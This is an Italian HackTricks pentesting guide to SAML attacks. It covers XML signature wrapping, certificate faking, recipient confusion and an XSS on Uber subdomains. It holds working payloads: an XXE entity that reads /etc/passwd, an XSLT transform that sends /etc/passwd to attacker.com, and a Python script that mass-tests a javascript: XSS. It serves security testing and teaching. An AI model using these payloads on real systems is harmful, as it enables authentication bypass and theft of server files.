hacktricks/pentesting-web/saml-attacks/README.md

Attacchi SAML

Attacchi SAML

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

• Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
• Ottieni il merchandising ufficiale di PEASS & HackTricks
• Scopri The PEASS Family, la nostra collezione di esclusive NFT
• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
• Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.

Informazioni di base

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

Strumento

SAMLExtractor: Uno strumento che può prendere un URL o una lista di URL e restituisce l'URL di consumo SAML.

Round-trip XML

In XML, la parte firmata dell'XML viene salvata in memoria, quindi viene eseguito un encoding/decoding e viene verificata la firma. Idealmente, quell'encoding/decoding non dovrebbe modificare i dati ma, basandosi su quel scenario, i dati verificati e i dati originali potrebbero non essere gli stessi.

Ad esempio, controlla il seguente codice:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

L'esecuzione del programma su REXML 3.2.4 o versioni precedenti produrrà il seguente output:

First child in original doc: Y
First child after round-trip: Z

Ecco come REXML ha visualizzato il documento XML originale dal programma sopra:

Ecco come lo ha visualizzato dopo una fase di parsing e serializzazione:

Per ulteriori informazioni sulla vulnerabilità e su come sfruttarla:

• https://mattermost.com/blog/securing-xml-implementations-across-the-web/
• https://joonas.fi/2021/08/saml-is-insecure-by-design/

Attacchi di firma XML wrapping

Negli attacchi di firma XML wrapping (XSW), gli avversari sfruttano una vulnerabilità che si verifica quando i documenti XML vengono elaborati attraverso due fasi distinte: validazione della firma e invocazione della funzione. Questi attacchi comportano l'alterazione della struttura del documento XML. In particolare, l'attaccante inserisce elementi falsificati che non compromettono la validità della firma XML. Questa manipolazione mira a creare una discrepanza tra gli elementi analizzati dalla logica dell'applicazione e quelli controllati dal modulo di verifica della firma. Di conseguenza, mentre la firma XML rimane tecnicamente valida e supera la verifica, la logica dell'applicazione elabora gli elementi fraudolenti. Di conseguenza, l'attaccante riesce a eludere la protezione dell'integrità e l'autenticazione dell'origine della firma XML, consentendo l'iniezione di contenuti arbitrari senza essere rilevato.

Gli attacchi seguenti si basano su questo post del blog e questo articolo. Quindi consulta questi per ulteriori dettagli.

XSW #1

• Strategia: Viene aggiunto un nuovo elemento radice contenente la firma.
• Implicazioni: Il validatore potrebbe confondersi tra il legittimo "Response -> Assertion -> Subject" e il "Response -> Assertion -> Subject" dell'attaccante, causando problemi di integrità dei dati.

XSW #2

• Differenza da XSW #1: Utilizza una firma separata invece di una firma che avvolge.
• Implicazioni: La struttura "malvagia", simile a XSW #1, mira a ingannare la logica aziendale dopo il controllo di integrità.

XSW #3

• Strategia: Viene creato un elemento Assertion malevolo allo stesso livello gerarchico dell'assertion originale.
• Implicazioni: Cerca di confondere la logica aziendale nell'utilizzo dei dati dannosi.

XSW #4

• Differenza da XSW #3: L'assertion originale diventa un figlio dell'assertion duplicato (malvagio).
• Implicazioni: Simile a XSW #3, ma modifica in modo più aggressivo la struttura XML.

XSW #5

• Aspetto unico: Né la firma né l'assertion originale rispettano le configurazioni standard (avvolgente/avvolta/separata).
• Implicazioni: L'assertion copiata avvolge la firma, modificando la struttura del documento prevista.

XSW #6

• Strategia: Inserimento di posizione simile a XSW #4 e #5, ma con una variazione.
• Implicazioni: L'assertion copiata avvolge la firma, che a sua volta avvolge l'assertion originale, creando una struttura nidificata ingannevole.

XSW #7

• Strategia: Viene inserito un elemento Extensions con l'assertion copiata come figlio.
• Implicazioni: Questo sfrutta lo schema meno restrittivo dell'elemento Extensions per eludere le contromisure di convalida dello schema, specialmente nelle librerie come OpenSAML.

XSW #8

• Differenza da XSW #7: Utilizza un altro elemento XML meno restrittivo per una variante dell'attacco.
• Implicazioni: L'assertion originale diventa un figlio dell'elemento meno restrittivo, invertendo la struttura utilizzata in XSW #7.

Strumento

Puoi utilizzare l'estensione Burp SAML Raider per analizzare la richiesta, applicare qualsiasi attacco XSW che scegli e lanciarlo.

XXE

Se non sai quali tipi di attacchi sono gli attacchi XXE, leggi la seguente pagina:

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

Le risposte SAML sono documenti XML deflati e codificati in base64 e possono essere suscettibili agli attacchi di XML External Entity (XXE). Manipolando la struttura XML della risposta SAML, gli attaccanti possono tentare di sfruttare le vulnerabilità XXE. Ecco come può essere visualizzato un tale attacco:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Strumenti

Puoi anche utilizzare l'estensione Burp SAML Raider per generare il POC da una richiesta SAML per testare possibili vulnerabilità XXE e vulnerabilità SAML.

Guarda anche questa presentazione: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT tramite SAML

Per ulteriori informazioni su XSLT vai a:

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

Le trasformazioni Extensible Stylesheet Language Transformations (XSLT) possono essere utilizzate per trasformare documenti XML in vari formati come HTML, JSON o PDF. È fondamentale notare che le trasformazioni XSLT vengono eseguite prima della verifica della firma digitale. Ciò significa che un attacco può avere successo anche senza una firma valida; una firma autonominata o non valida è sufficiente per procedere.

Qui puoi trovare un POC per verificare questo tipo di vulnerabilità, nella pagina hacktricks menzionata all'inizio di questa sezione puoi trovare dei payload.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Strumento

Puoi anche utilizzare l'estensione Burp SAML Raider per generare la POC da una richiesta SAML per testare possibili vulnerabilità XSLT.

Guarda anche questa presentazione: https://www.youtube.com/watch?v=WHn-6xHL7mI

Esclusione della firma XML

L'Esclusione della firma XML osserva il comportamento delle implementazioni SAML quando l'elemento Signature non è presente. Se questo elemento manca, la validazione della firma potrebbe non avvenire, rendendo il sistema vulnerabile. È possibile testare ciò alterando i contenuti che vengono di solito verificati dalla firma.

Strumento

Puoi anche utilizzare l'estensione Burp SAML Raider. Intercepisci la risposta SAML e clicca su Remove Signatures. In questo modo vengono rimossi tutti gli elementi Signature.

Con le firme rimosse, permetti alla richiesta di procedere verso l'obiettivo. Se la firma non è richiesta dal servizio

Falsificazione del certificato

La falsificazione del certificato è una tecnica per verificare se un Service Provider (SP) verifica correttamente che un messaggio SAML sia firmato da un Identity Provider (IdP) affidabile. Questo coinvolge l'uso di un *certificato autofirmato per firmare la risposta o l'asserzione SAML, il che aiuta a valutare il processo di convalida della fiducia tra SP e IdP.

Come condurre la falsificazione del certificato

I seguenti passaggi descrivono il processo utilizzando l'estensione Burp SAML Raider:

1. Intercepisci la risposta SAML.
2. Se la risposta contiene una firma, invia il certificato a SAML Raider Certs utilizzando il pulsante Send Certificate to SAML Raider Certs.
3. Nella scheda SAML Raider Certificates, seleziona il certificato importato e clicca su Save and Self-Sign per creare una copia autofirmata del certificato originale.
4. Torna alla richiesta intercettata in Burp's Proxy. Seleziona il nuovo certificato autofirmato dal menu a discesa XML Signature.
5. Rimuovi eventuali firme esistenti con il pulsante Remove Signatures.
6. Firma il messaggio o l'asserzione con il nuovo certificato utilizzando il pulsante (Re-)Sign Message o (Re-)Sign Assertion, a seconda del caso.
7. Inoltra il messaggio firmato. L'autenticazione riuscita indica che l'SP accetta messaggi firmati dal tuo certificato autofirmato, rivelando potenziali vulnerabilità nel processo di convalida dei messaggi SAML.

Confusione del destinatario del token / Confusione del destinatario del Service Provider

La confusione del destinatario del token e la confusione del destinatario del Service Provider riguardano la verifica corretta da parte del Service Provider del destinatario previsto di una risposta. In sostanza, un Service Provider dovrebbe rifiutare una risposta di autenticazione se fosse destinata a un provider diverso. L'elemento critico qui è il campo Recipient, presente nell'elemento SubjectConfirmationData di una risposta SAML. Questo campo specifica un URL che indica dove l'asserzione deve essere inviata. Se il destinatario effettivo non corrisponde al Service Provider previsto, l'asserzione dovrebbe essere considerata non valida.

Come funziona

Perché un attacco di Confusione del destinatario del token SAML (SAML-TRC) sia fattibile, devono essere soddisfatte determinate condizioni. In primo luogo, deve esistere un account valido su un Service Provider (denominato SP-Legit). In secondo luogo, il Service Provider mirato (SP-Target) deve accettare token dallo stesso Identity Provider che serve SP-Legit.

Il processo di attacco è semplice in queste condizioni. Viene avviata una sessione autentica con SP-Legit tramite l'Identity Provider condiviso. La risposta SAML dall'Identity Provider a SP-Legit viene intercettata. Questa risposta SAML intercettata, originariamente destinata a SP-Legit, viene quindi reindirizzata a SP-Target. Il successo di questo attacco viene misurato dall'accettazione dell'Assertion da parte di SP-Target, che concede l'accesso alle risorse utilizzando lo stesso nome account utilizzato per SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS nella funzionalità di logout

La ricerca originale può essere consultata tramite questo link.

Durante il processo di forzatura di directory, è stata scoperta una pagina di logout su:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

All'accesso a questo link, si è verificato un reindirizzamento a:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Ciò ha rivelato che il parametro base accetta un URL. Considerando ciò, è emersa l'idea di sostituire l'URL con javascript:alert(123); nel tentativo di avviare un attacco XSS (Cross-Site Scripting).

Sfruttamento di massa

Dalla seguente ricerca:

Lo strumento SAMLExtractor è stato utilizzato per analizzare i sottodomini di uberinternal.com alla ricerca di domini che utilizzano la stessa libreria. Successivamente, è stato sviluppato uno script per mirare alla pagina oidauth/prompt. Questo script testa la presenza di XSS (Cross-Site Scripting) inserendo dati e verificando se vengono riflessi nell'output. Nei casi in cui l'input viene effettivamente riflesso, lo script segnala la pagina come vulnerabile.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Riferimenti

• https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/\
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
• https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

• Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
• Ottieni il merchandising ufficiale di PEASS & HackTricks
• Scopri The PEASS Family, la nostra collezione di NFT esclusivi
• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
• Condividi i tuoi trucchi di hacking inviando PR ai repository github di HackTricks e HackTricks Cloud.